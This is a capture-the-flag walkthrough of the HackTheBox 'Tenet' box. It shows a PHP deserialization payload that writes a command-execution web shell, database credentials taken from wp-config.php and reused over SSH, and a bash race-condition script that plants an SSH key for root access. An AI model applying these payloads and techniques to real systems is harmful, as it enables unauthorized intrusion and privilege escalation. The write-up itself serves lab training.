Tenet is medium rated linux box. It’s all about deserialization and exploiting race condition on the system level
ENUMERATION
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Nmap scan report for 10.10.10.223
Host is up (0.036s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
| 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
WEBSERVER
We have to add tenet.htb to hosts file! ;)
Seems like Rest API ist activated.
(http://tenet.htb/index.php/wp-json/wp/v2/users)
Word scraping with CEWL to build a wordlist
Let’s scrape the website to find possible passwords (it’s worth a try!)
1
cewl http://tenet.htb -m 6 -w passes.txt
… but it didn’t work however there is a hint on the website
Source Code Review
File sator.php
can be found on the root of the site, but we cannot read it. If we add .bak
extension however http://10.10.10.223/sator.php.bak
:
In order to successfully exploit the above bug three conditions must be satisfied:
- The application must have a class which implements a PHP magic method (such as __wakeup or __destruct) that can be used to carry out malicious attacks, or to start a “POP chain”.
- All of the classes used during the attack must be declared when the vulnerable unserialize() is being called, otherwise object autoloading must be supported for such classes .
- The data passed to unserialized comes from a file, so a file with serialized data must be present on the server.
Reference: https://notsosecure.com/remote-code-execution-via-php-unserialize/
Exploiation
Deserialization
So let’s give it a shot:
1
http://10.10.10.223/sator.php?arepo=O:14:"DatabaseExport":2:{s:9:"user_file";s:10:"shell3.txt";s:4:"data";s:4:"test";}
File was succesfully written.
Now let’s write a php file which accepts GET requests and executes system commands:
1
http://10.10.10.223/sator.php?arepo=O:14:%22DatabaseExport%22:2:{s:9:%22user_file%22;s:10:%22shell5.php%22;s:4:%22data%22;s:30:%22%3C?php%20system($_GET[%27cmd%27]);%20?%3E%22;}
… which has worked:
We do have command execution:
Let’s get a shell, by encoding simple reverse bash shell:
Shell has been spawned:
Privilege Escalation
Enumeration
While enumerating some credentials were found:
1
2
3
4
www-data@tenet:/var/www/html/wordpress$ cat wp-config.php | grep "DB_USER\|DB_PASSWORD"
<ss$ cat wp-config.php | grep "DB_USER\|DB_PASSWORD"
define( 'DB_USER', 'neil' );
define( 'DB_PASSWORD', 'Opera2112' );
This credentials also work for SSH as neil
.
SUDOERS
After logging in with neil user following entry was discovered after running sudo -l
1
2
3
4
5
6
neil@tenet:~$ sudo -l
Matching Defaults entries for neil on tenet:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:
User neil may run the following commands on tenet:
(ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
After checking the /usr/local/bin/enableSSH.sh
script something became clear - we cannot write to the Path of the root, so it is not possible to exploit that so, this were my thoughts:
- there is to much code for such a simple task
- it could be a rabbit hole.
The 1. though led to thinking it could be something like race condition so let’s try that..
Exploiting a race condition
Create a new key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Enter file in which to save the key (/home/neil/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
SHA256:SEkHM+vYF1qsiY4vDjapEXQdQR/JC4g1L/xXTYyV+1E neil@tenet
The key's randomart image is:
+---[RSA 2048]----+
| ooo+Boo +o. |
| ...+ooX..oo E |
| . + o=.=. .. . |
|. . o* B.. . . |
|. o.B.S . . |
| ..o .. . |
|o+. . |
|ooo. |
|..... |
+----[SHA256]-----+
We can see that everytime another file will be created.
1
2
3
4
5
6
7
8
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-FVbr7xIX
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-CxebKjyk
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-WPULDJQB
neil@tenet:/tmp$ echo $(mktemp -u /tmp/ssh-XXXXXXXX)
/tmp/ssh-lJEyrgOd
Since there is little chance to guess it, let’s exploit that race condition.
I wrote following script, which spawns 2 threads and it does that 100 times (i had to run the script 2 times )
1
2
3
4
5
6
7
neil@tenet:/tmp/race$ cat race.sh
#!/bin/bash
for i in {1..100}
do
sudo /usr/local/bin/enableSSH.sh &
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDycGKFZRwjVjHPmg5YoP/VmccRN9wwBqdr/BBX4IxsnmeuHsWplgTMuLWhDzDz5dONNiMNEqK80tnsX1/MT2MxfWG/LGzy9FgNChV9COPJbQpTgWidH771u/IOXJGJKu1neDGl6z90ojR1OXuTAPzhf7sloyxr2k221WMqtguGFrP0JWfr0UZojYLOaEA5bawQ+pJouv9AuqEETX4ZMI/9iyLA41DFMr521waxtALk0R0xxYlomHGC5jby/e5cP9vYURAW3POhTz/L07se2joqkJoHHHj9d6oudhGKSCBJwLpnKPj4+TCdXfd1BhiaLJB/aRmJOjXEsogW8WXvbKSH neil@tenet" | tee /tmp/ssh-* &
done
It took lees than 200 iterations to inject the public key into temporary written file. Grep serve just to get rid of output (KSH belongs to the root key and “authorized” belongs to enableSSH.sh output.
… and … root! :)